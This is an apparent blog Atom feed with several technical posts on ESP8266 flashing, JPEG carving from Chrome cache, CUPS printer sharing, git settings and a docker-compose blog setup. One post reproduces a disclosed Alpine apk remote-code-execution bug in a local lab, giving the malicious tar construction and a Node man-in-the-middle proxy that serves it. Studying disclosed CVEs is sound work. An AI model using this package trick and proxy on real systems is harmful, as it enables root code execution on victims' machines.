&lt;a href=&quot;https://github.com/Yubico/libfido2&quot;&gt;https://github.com/Yubico/libfido2&lt;/a&gt;
&lt;a href=&quot;https://www.openssh.com/txt/release-8.2&quot;&gt;https://www.openssh.com/txt/release-8.2&lt;/a&gt;
&lt;a href=&quot;http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/&quot;&gt;http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Use a remote serial port to flash an esp</title>
   <link href="http://www.matbra.com/2020/02/05/use-remote-serial-port-to-flash-esp.html"/>
   <updated>2020-02-05T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2020/02/05/use-remote-serial-port-to-flash-esp</id>
   <content type="html">&lt;p&gt;Recently I got back to playing with some ESP8266 as I decided to make my home smarter. Taking a look on my boards I noticed I didn’t have any 3.3V board to flash it. Taking a closer look I found I had a raspberry pi around, so I could simply use it.&lt;/p&gt;

&lt;p&gt;After doing the setup and being able to flash using the raspberry pi it felt too hard to be programming on it and using vnc or something like this. Therefore I decided to try to use a remote serial port.&lt;/p&gt;

&lt;p&gt;At first I got to socat but I couldn’t get it to work as it seems it doesn’t forward some specific signals. After some googling I found ser2net which seems to be compliant with RFC2217.&lt;/p&gt;

&lt;p&gt;To install ser2net on my raspberry pi I used:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo apt-get install ser2net
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After this to create a tunnel and expose it on my machine I used:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ssh -L 8086:localhost:8086 pi@PI_ADDRESS '/usr/sbin/ser2net -d -C &quot;8086:raw:600:/dev/ttyAMA0:115200&quot;'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basically I’m forwarding my local port 8086 and on the remote device on 8086, being raw with permission 600 with port /dev/ttyAMA0 and baudrate of 115200.&lt;/p&gt;

&lt;p&gt;To be able to flash my ESP8266 I used:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ esptool.py -p socket://localhost:8086 write_flash -fm dio 0x000000 BasicOTA.ino.generic.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Note the -p socket:// with this it will use the socket to communicate.&lt;/p&gt;

&lt;p&gt;I hope this will be helpful for you.
Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Testing RCE on Alpine Linux via APK</title>
   <link href="http://www.matbra.com/2018/09/14/Testing-RCE-on-alpine-linux-via-apk.html"/>
   <updated>2018-09-14T00:00:00-05:00</updated>
   <id>http://www.matbra.com/2018/09/14/Testing-RCE-on-alpine-linux-via-apk</id>
   <content type="html">&lt;p&gt;I have been studying a little bit of security and one of the things I’m doing from time to time is reading CVE and trying to test and understand what is happening. Yesterday &lt;a href=&quot;https://justi.cz/&quot;&gt;Max Justicz&lt;/a&gt; published &lt;a href=&quot;https://justi.cz/security/2018/09/13/alpine-apk-rce.html&quot;&gt;Remote Code Execution in Alpine Linux&lt;/a&gt;. He found an issues on &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; which is the package manager for Alpine Linux which is super popular on docker images.&lt;/p&gt;

&lt;p&gt;Max did a great job explaining the steps and the reasoning, but I wanted to try it myself.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- Create a folder at /etc/apk/commit_hooks.d/, which doesn’t exist by default. Extracted folders are not suffixed with .apk-new.

- Create a symlink to /etc/apk/commit_hooks.d/x named anything – say, link. This gets expanded to be called link.apk-new but still points to /etc/apk/commit_hooks.d/x.

- Create a regular file named link (which will also be expanded to link.apk-new). This will write through the symlink and create a file at /etc/apk/commit_hooks.d/x.

- When apk realizes that the package’s hash doesn’t match the signed index, it will first unlink link.apk-new – but /etc/apk/commit_hooks.d/x will persist! It will then fail to unlink /etc/apk/commit_hooks.d/ with ENOTEMPTY because the directory now contains our payload.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The instructions seem simple but if you are not super familiar with how a tar file works, you may not understand it. On a tar file you can have multiple versions/files with the same name and you can extract one of them using &lt;code class=&quot;highlighter-rouge&quot;&gt;--occurrence&lt;/code&gt; option. With this in mind, the instructions make a little bit more sense, so shall we try to create this file?&lt;/p&gt;

&lt;p&gt;First of all, let’s create the directories:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo mkdir /etc/apk/commit_hooks.d/
mkdir folder_for_link
mkdir folder_for_real_file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Create the link:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/etc/apk/commit_hooks.d/x folder_for_link/magic
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Create the real file on &lt;code class=&quot;highlighter-rouge&quot;&gt;folder_for_real_file/magic&lt;/code&gt; with this content:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;something&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /tmp/test-12346-YAY
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ha&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /testfileroot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(If it really works we should have a /tmp/test-123456-YAY file and one /testfileroot too)&lt;/p&gt;

&lt;p&gt;Cool, now it seems we have almost everything we need! Let’s create the apk with:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tar -zcvf bad-intention.apk /etc/apk/commit_hooks.d/ -C $PWD/folder_for_link/ magic -C $PWD/folder_for_real_file/ magic
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we are adding all this 3 things in sequence to the tar file, you can check tar content with &lt;code class=&quot;highlighter-rouge&quot;&gt;t&lt;/code&gt; option:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ tar tvf bad-intention.apk
drwxr-xr-x root/root         0 2018-09-13 19:44 etc/apk/commit_hooks.d/
lrwxrwxrwx root/root         0 2018-09-13 19:37 magic -&amp;gt; /etc/apk/commit_hooks.d/x
-rwxrwxrwx root/root 954 2018-09-13 23:24 magic
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(Pay attention on the order of this files: create directory commit_hooks.d, creation of link and creation of file)&lt;/p&gt;

&lt;p&gt;What should be the behavior now? Since apk on alpine runs from &lt;code class=&quot;highlighter-rouge&quot;&gt;/&lt;/code&gt; it will create the folder &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.k&lt;/code&gt;, later it will extract the
link and to finish it will output the content of magic to the link which will be placed inside the &lt;code class=&quot;highlighter-rouge&quot;&gt;X&lt;/code&gt; file. &lt;em&gt;Note&lt;/em&gt;, I lost A LOT of time trying to see this behavior on &lt;code class=&quot;highlighter-rouge&quot;&gt;tar&lt;/code&gt; it self, but it seems &lt;code class=&quot;highlighter-rouge&quot;&gt;tar&lt;/code&gt; doesn’t have this behavior and &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; implements it’s own extractor.&lt;/p&gt;

&lt;p&gt;OK, now, we need to deliver this file when running the &lt;code class=&quot;highlighter-rouge&quot;&gt;apk add&lt;/code&gt; inside docker. Here, I have updated /etc/hosts and pointed &lt;code class=&quot;highlighter-rouge&quot;&gt;dl-cdn.alpinelinux.org&lt;/code&gt; to localhost. Using libraries &lt;code class=&quot;highlighter-rouge&quot;&gt;http-mitm-proxy http-proxy request&lt;/code&gt; on node I have created a script to deliver the bad .apk when downloading something which has ltrace on url otherwise it will download the file and send to the docker.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var http = require('http'),
    httpProxy = require('http-proxy'),
    request = require('request'),
    fileSystem = require('fs'),
    path = require('path');

var proxy = httpProxy.createProxyServer({});

var server = http.createServer(function(req, res) {
  console.log('http://nl.alpinelinux.org' + req.url)
  if (req.url.indexOf('ltrace') &amp;gt; -1) {
    console.log(&quot;Trapped&quot;)
    var filePath = path.join(__dirname, 'bad-intention.apk');
    var stat = fileSystem.statSync(filePath);
    var readStream = fileSystem.createReadStream(filePath);
    readStream.pipe(res);
  } else {
      proxy = request('http://nl.alpinelinux.org' + req.url)
      proxy.on('response', function (a, b) {}).pipe(res);
  }
});

console.log(&quot;listening on port 80&quot;)
server.listen(80);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Building my docker with &lt;code class=&quot;highlighter-rouge&quot;&gt;docker build -t alpinetest --network=host --no-cache .&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FROM alpine:3.8

# RUN apk add python
RUN apk add ltrace

CMD &quot;/bin/sh&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(If you are curious you can take a look on the test of the docker image even if it failed to build and see your files are really inside the correct places. Use &lt;code class=&quot;highlighter-rouge&quot;&gt;docker commit CONTAINER_ID&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;docker run -it SHA256_STRING sh&lt;/code&gt;.)&lt;/p&gt;

&lt;p&gt;This returned “The command ‘/bin/sh -c apk add ltrace’ returned a non-zero code: 1”. This happened because &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; verifies the signature or the apk and try to clean up the files, but it is not able to since &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.k&lt;/code&gt; contains a file. How to do some magic to make the apk return exit code 0? Max has found one (or two) ways of doing this.&lt;/p&gt;

&lt;p&gt;I still need to study what exactly the python script does to update the exit code but I have tested and it really works, as a quick test you can add &lt;code class=&quot;highlighter-rouge&quot;&gt;RUN apk add python&lt;/code&gt; and update &lt;code class=&quot;highlighter-rouge&quot;&gt;folder_for_real_file/magic&lt;/code&gt; to call his python code.&lt;/p&gt;

&lt;p&gt;I know this may sound simple, but it took me a while to figure out all the tiny details. If you find any mistake I made, or want to say something, drop me a line!&lt;/p&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Find images on chrome cache files (or any other file!)</title>
   <link href="http://www.matbra.com/2018/08/20/find-images-on-chrome-cache-files-and-any-other.html"/>
   <updated>2018-08-20T00:00:00-05:00</updated>
   <id>http://www.matbra.com/2018/08/20/find-images-on-chrome-cache-files-and-any-other</id>
   <content type="html">&lt;p&gt;Good night,&lt;/p&gt;

&lt;p&gt;Recently I have deleted a few images from my image which the old link was broken on the last few days. I decided to try to find them on the Google Chrome Cache. 
The url &lt;code class=&quot;highlighter-rouge&quot;&gt;chrome://cache&lt;/code&gt; was recently removed, but you can find your chrome cache files at: &lt;code class=&quot;highlighter-rouge&quot;&gt;/home/matheus/.cache/google-chrome/Default/Cache/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you open it as binary, you will see it is not a file directly. There is more information embeded in the file such as URL, headers, http status code and others. We could take a look on chrome source code to extract everything from the file, not only images. But to be honest I was lazy to dig into that because I had a very specific need in this case. &lt;a href=&quot;https://github.com/chromium/chromium/tree/f18e79d901f56154f80eea1e2218544285e62623/content/browser/cache_storage&quot;&gt;Chrome cache storage&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Why not scan the cache files for the JPEG binary? We would need to know how to find the start/end of image. We will have:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;bytes 0xFF, 0xD8 indicate start of image&lt;/li&gt;
  &lt;li&gt;bytes 0xFF, 0xD9 indicate end of image&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OK. So how would we do this in python?&lt;/p&gt;

&lt;p&gt;Open the file as binary and check if there is a JFIF or EXIF marker on it. (Just trying to ignore files we can’t process)&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;f = open(filepath, 'rb')

data = f.read()
if 'JFIF' not in data and 'Exif' not in data:
	return
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s iterate over all the bytes trying to find that specific sequence. To achieve this let’s have a prev which will have the value of the previous byte, pos to know which position we’re at and an array for SOI (Start of image) and EOI (End of Image) which will hold the positions for this markers. If the previous char is FF and the current one is D8, it will append to SOI, if it is D9 it will append to EOI.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;prev = None
soi = []
eoi = []
pos = 0
for b in data:
	if prev is None:
		prev = b
		pos = pos + 1
		continue
	if prev == chr(0xFF):
		if b == chr(0xD8):
			soi.append(pos-1)
		elif b == chr(0xD9):
			eoi.append(pos-1)
	prev = b
	pos = pos + 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can get the SOI e EOI and save it. The only magic we will be doing here is getting the first SOI and the last SOI or EOI depending on each one is bigger.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;path, filename = os.path.split(filepath)
file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, 0), 'wb')
m1 = soi[0]
m2 = soi[-1] if soi[-1] &amp;gt; eoi[-1] else eoi[-1]
file.write(data[m1:m2])

file.close()

print(filename, &quot;SOI&quot;, soi, len(soi))
print(filename, &quot;EOI&quot;, eoi, len(eoi))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This code will save only one image. If you want you could iterate over the SOI and EOI and save multiple files.&lt;/p&gt;

&lt;p&gt;Would this be some kind of file carving?&lt;/p&gt;

&lt;p&gt;I hope this helps you!
Matheus&lt;/p&gt;

&lt;p&gt;Get this script create the OUTPUT_FOLDER and run it as &lt;code class=&quot;highlighter-rouge&quot;&gt;python yourfile.py filetocheck&lt;/code&gt;, this version should be able to handle multiple images inside the same file. Now you can check and output stream for instance.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;import os
import glob
import sys

OUTPUT_FOLDER = &quot;output-this2&quot;


def save_file(data, path, filename, count, eoi, soi):
	file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, count), 'wb')
	m1 = soi[0]
	m2 = soi[-1] if soi[-1] &amp;gt; eoi[-1] else eoi[-1]
	file.write(data[m1:m2])
	file.close()

def extract(filepath):
	count = 0
	f = open(filepath, 'rb')

	data = f.read()
	if 'JFIF' not in data and 'Exif' not in data:
		return

	path, filename = os.path.split(filepath)

	old_soi = []
	old_eoi = []
	prev = None
	soi = []
	eoi = []
	eoi_found = False
	pos = 0
	for b in data:
		if prev is None:
			prev = b
			pos = pos + 1
			continue
		if prev == chr(0xFF):
			if b == chr(0xD8):
				if eoi_found:
					save_file(data, path, filename, count, eoi, soi)
					old_soi = old_soi + soi
					old_eoi = old_eoi + eoi
					soi = []
					eoi = []
					count = count + 1
					eoi_found = False
				soi.append(pos-1)
			elif b == chr(0xD9):
				eoi.append(pos-1)
				eoi_found = True
		prev = b
		pos = pos + 1

	save_file(data, path, filename, count, eoi, soi)
	print(filename, &quot;SOI&quot;, soi, len(old_soi))
	print(filename, &quot;EOI&quot;, eoi, len(old_eoi))

def main():
	if len(sys.argv) &amp;lt; 2:
		sys.exit(1)

	extract(sys.argv[1])

if __name__==&quot;__main__&quot;:
	main()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Reference:
&lt;a href=&quot;https://stackoverflow.com/questions/4585527/detect-eof-for-jpg-images&quot;&gt;https://stackoverflow.com/questions/4585527/detect-eof-for-jpg-images&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Printer connected to Raspberry PI accessable from network.</title>
   <link href="http://www.matbra.com/2018/08/07/printer-connected-to-raspberry-pi-accessable-from-network.html"/>
   <updated>2018-08-07T00:00:00-05:00</updated>
   <id>http://www.matbra.com/2018/08/07/printer-connected-to-raspberry-pi-accessable-from-network</id>
   <content type="html">&lt;p&gt;Hey guys,&lt;/p&gt;

&lt;p&gt;For a long time my father has beem complaining that using the printer wasn’t practical enough, so to solve this I decided to add a Raspberry pi Zero W connected to my printer (HP Deskjet F2050) and share the printer using CUPS.&lt;/p&gt;

&lt;p&gt;Initially you need to connect to your RPi and install CUPS.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt-get install cups
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you want to have a webinterface to configure it from your local network, update &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/cups/cupsd.conf&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo vim /etc/cups/cupsd.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Find the line:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Listen localhost:631
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And update it to:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Listen localhost:631
Port 631
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You will have multiple &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Location&lt;/code&gt;, if you want to be able to access only from your computer, add &lt;code class=&quot;highlighter-rouge&quot;&gt;Allow from YOUR_IP&lt;/code&gt; for every section. Example:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;Location /&amp;gt;
  Order allow,deny
  Allow from 10.0.0.2
&amp;lt;/Location&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(If you want from any, use Allow from all)&lt;/p&gt;

&lt;p&gt;Add your user (in my case PI) to &lt;code class=&quot;highlighter-rouge&quot;&gt;lpadmin&lt;/code&gt; group.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo usermod -a -G lpadmin pi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Access your Raspberry Pi ip on your browser on port 631 (https://RPI_IP:631/).&lt;/p&gt;

&lt;p&gt;Go to &lt;code class=&quot;highlighter-rouge&quot;&gt;Administration - Add printer&lt;/code&gt; Menu. You should see your local printer there, select it and follow the wizard to setup it.&lt;/p&gt;

&lt;p&gt;If you’re using HP printer and can’t find yours, try:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt-get install hplip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And reboot.&lt;/p&gt;

&lt;p&gt;Let me know if you have any problems.&lt;/p&gt;

&lt;p&gt;See you,
Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Update default git commit author and reset for commit.</title>
   <link href="http://www.matbra.com/2018/08/06/update-default-git-commit-author-and-reset.html"/>
   <updated>2018-08-06T00:00:00-05:00</updated>
   <id>http://www.matbra.com/2018/08/06/update-default-git-commit-author-and-reset</id>
   <content type="html">&lt;p&gt;If you would like to set your global git author, use:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git config --global user.name &quot;Your name&quot;
git config --global user.email &quot;email@example.net&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After having it set globally, you can to set your git author per project using:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git config user.name &quot;Your name&quot;
git config user.email &quot;email@example.net&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And a bonus, If you need to reset the git commit author:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git commit --amend --reset-author
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you want to do it for multiple commits:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git rebase -i &amp;lt;COMMIT_HASH&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See you,
Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Docker-compose with PHP-FPM, sendmail, nginx, mariadb serving jekyll and wordpress</title>
   <link href="http://www.matbra.com/2018/02/06/docker-compose-with-php-fpm-nginx-maria-db-wordpress-jekyll.html"/>
   <updated>2018-02-06T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2018/02/06/docker-compose-with-php-fpm-nginx-maria-db-wordpress-jekyll</id>
   <content type="html">&lt;p&gt;As I explained recently, I had a blog running Wordpress and decided to move to Jekyll but there was a catch, I didn’t want to loose any link I had to my wordpress blog, to achieve this, &lt;a href=&quot;http://www.matbra.com/2016/12/22/nginx-redirect-multiserver.html&quot;&gt;I setup an nginx which will try to find a static file from jekyll and if it is not found it will fallback to Wordpress&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I was running my server on ec2 instance with RDS and it was becoming a little bit expensive, so I decided to move everything to one machine and dockerize my setup so I could easily switch my servers.&lt;/p&gt;

&lt;p&gt;To achieve this, I have created a docker-compose with:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;PHP-FPM and sendmail to process php and sendmail&lt;/li&gt;
  &lt;li&gt;Nginx to serve jekyll static files and if they’re not found serve my old wordpress blog&lt;/li&gt;
  &lt;li&gt;MariaDB as my Database for Wordpress&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;version: '3'
services:
  fpm:
    # image: php:7.0-fpm-alpine
    build: php7fpm
    restart: always
    volumes:
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./php7fpm/sendmail.mc:/usr/share/sendmail/cf/debian/sendmail.mc
      - ./php7fpm/gmail-auth.db:/etc/mail/authinfo/gmail-auth.db
    ports:
      - &quot;9000:9000&quot;
    links:
      - mariadb 
    hostname: boarders.com.br
  
  nginx:
    image: nginx:1.10.1-alpine
    restart: always
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf
      - ./nginx/app.vhost:/etc/nginx/conf.d/default.conf
      - ./logs/nginx:/var/log/nginx
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./jekyll.matbra.com/:/var/www/jekyll.matbra.com
    ports:
      - &quot;80:80&quot;
      - &quot;443:443&quot;
    links:
      - fpm

  mariadb:
    image: mariadb
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=yourpassword
      - MYSQL_DATABASE=
    volumes:
    -   ./data/db:/var/lib/mysql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;PHP-FPM container:&lt;/p&gt;

&lt;p&gt;I’m using a custom Dockerfile which comes from php:7.0-fpm and add sendmail support and mysql extension. There is a custom starter script which will run sendmail + php-fpm. (I know I should create a specific container for sendmail)&lt;/p&gt;

&lt;p&gt;On this container I’m basically mapping some php files and config files:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;./wordpress.matbra.com to /var/www/wordpress.matbra.com which are my wordpress files&lt;/li&gt;
  &lt;li&gt;./php7fpm/sendmail.mc to /usr/share/sendmail/cf/debian/sendmail.mc which is my configuration file for sendmail&lt;/li&gt;
  &lt;li&gt;./php7fpm/gmail-auth.db to /etc/mail/authinfo/gmail-auth.db which is the password for my gmail &lt;a href=&quot;https://linuxconfig.org/configuring-gmail-as-sendmail-email-relay&quot;&gt;Configuring gmail as relay to sendmail&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’m also mapping the port 9000 to 9000, so I will communicate with PHP-FPM on this ports, creating a link to mariadb and naming my hostname.&lt;/p&gt;

&lt;p&gt;NGINX container:&lt;/p&gt;

&lt;p&gt;I’m using the regular nginx alpine with some maps:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;./nginx/nginx.conf to /etc/nginx/nginx.conf which is my nginx configuration&lt;/li&gt;
  &lt;li&gt;./nginx/app.vhost to /etc/nginx/conf.d/default.conf which is my website configuration with Jekyll falling back to wordpress&lt;/li&gt;
  &lt;li&gt;./logs/nginx to /var/log/nginx which will be my log directory&lt;/li&gt;
  &lt;li&gt;./wordpress.matbra.com/ to /var/www/wordpress.matbra.com which is the place where nginx can find wordpress website&lt;/li&gt;
  &lt;li&gt;./jekyll.matbra.com/ to /var/www/jekyll.matbra.com which is the place where nginx can find jekyll website&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’m also mapping ports 80 to 80 and 443 to 443 and create a link to PHP-FPM so nginx can communicate with fpm container.&lt;/p&gt;

&lt;p&gt;MARIADB container:&lt;/p&gt;

&lt;p&gt;No mistery here, regular mariadb image, with a mapping for data and some environment variables.&lt;/p&gt;

&lt;p&gt;Because I’m not adding my website files to the image, I have created a command &lt;code class=&quot;highlighter-rouge&quot;&gt;init.sh&lt;/code&gt; to remove website directory and clone website from git. There is a command called &lt;code class=&quot;highlighter-rouge&quot;&gt;update-config.sh&lt;/code&gt; to update wp-config.php file with the correct environment variables.&lt;/p&gt;

&lt;p&gt;With this I can easily spin up a new machine with my website structure.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/x-warrior/blog-docker&quot;&gt;https://github.com/x-warrior/blog-docker&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I hope this will be helpful for you.
Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Install ZNC IRC Bouncer on AWS Linux</title>
   <link href="http://www.matbra.com/2017/12/08/znc-on-aws-linux.html"/>
   <updated>2017-12-08T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2017/12/08/znc-on-aws-linux</id>
   <content type="html">&lt;p&gt;If you want to install &lt;a href=&quot;https://github.com/znc/znc&quot;&gt;ZNC IRC Bouncer&lt;/a&gt; you will need CMake, but AWS Linux CMake is too old. (Update your cmake to 3.x)[http://www.matbra.com/2017/12/07/install-cmake-on-aws-linux.html]&lt;/p&gt;

